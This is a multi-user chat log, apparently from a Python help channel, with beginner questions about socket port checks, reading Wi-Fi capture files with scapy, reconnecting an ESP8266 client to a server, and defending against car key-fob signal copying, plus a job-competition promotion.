Hi, I recently came across Juspay Hiring Challeneg on Dare2Compete. The winners will get an opportunity to bag full-time offer for up to INR 13-15 Lakhs per annum Hope it helps. https://dare2compete.com/o/juspay-hiring-challenge-think-big-with-functional-programming-juspay-169172?refId=JPDS
Explore student/corporate competitions & engagements for B-schools, Engineering & Graduate colleges. We are an employer branding consultant & help conceptualize & organize these engagements | D2C - India
thanks my dude : )
Ure welcome bro
so, if doesnt print nothing means that the port is open and I made a connection
well, for my understand
it will try to make the connection until it's not work, then it will print
how the three differs from another
the protocols?
it's not IP ---- Port?
anything will do pal. Share ideas, recommendation, anything i mean to the extent of your knowledge ๐
Well, if it is open, it will print open, and if not, it will print close
Oh, and write s.close() at the end.
does anyone know how to use concurrent
With what do you wanna use concurrent? Which stack do you use?
Can someone help me out with some direction, I'm trying to read a .cap file and I have read that scapy can do this?
Is there a way radio waves can be received with Python?
Going to want to get a radio receiver and a nice driver with a Python adapter
How can I filter only for WPA when reading a .cap file with Scapy?
Hey !
I've a project using scapy and I have a problem : at a certain point, some peoples (other computer using m'y file on the same network) will send me packets that i need to let pass (i juste capt, i'me not the dst) and I use sniff to get that packets. But, i need to let some pass, and lock some others. How to "destroy" some packets "sniffed" ?
Well, the first question should be "is it possible", but i know everything is possible ;)
Hi, I have made a socket connection between a server an a client. The problem is when the client loses power the connection is broken. When the power returns to the client, the server does not have a connection any more with client. How can is make this so connection between client en server is restored with same port ?
there is a lot more to networking than udp and tcp connections, I mean, it's too extensive to a person know everything but at least tcp and udp I should know?
and sockets and web services
because I heard of some guy that you can move a sofa in your house and there is no sofa at the point a because you moved to point b, but for computers you have two sofas because it makes a copy of every action
make the client send some message like "END" if the client is ending the connection from its side knowingly, so like you know if the client's connection lost and you didnt receive the end message in the server, the client was disconnected by some accident, so you can save some data of that client and then when it reconnects you can assign it the data you saved
Can someone please help with the following:
pkts = rdpcap(file.cap) #will read the cap file
If I do a for loop how do I isolate the WPA in the cap file
You are right, but for me the problem is that i need the server to connect automatically.
I have explained my problem poorly. So i'll try again.
I have a Wemos (esp8266) who acts as a client. The only thing the client does is sending data to a server. Nothing else. Then I have a server. This server is listening only to this one client. The only thing the server does is receiving data en write this to a log file.
The problem now is that the Wemos (=client) sometimes looses power. So socket connection with server is lost. My server program waits to receive new data. When power to the Wemos is restored it reconnects automatically to the server and continues to send data without errors. But the server is not receiving anything any more. It just waits for new data.
Below you can see my code for server and client.
I'm 13yrs old, I know a lot about Python and even socket.
And I'd really like to make some money.
i have a question related to networking/packets/cybersec
lets say that i own a car and i use my wireless key to open my car
key -> send data to car -> car -> open doors
ive heard people could grab the radio frequency (packets) and copy it and use it to unlock my car
how could someone defend themselves from this?
i dont know how to explain it a little better since im dumb
you explained it well, thing is, if that would be so easy then car theft would be through the roof, I think theres more to it then, no idea what tho
people are blind and ignorant
the world around u is unsecured
very unsecured
default passwords
no firewalls
no nothing
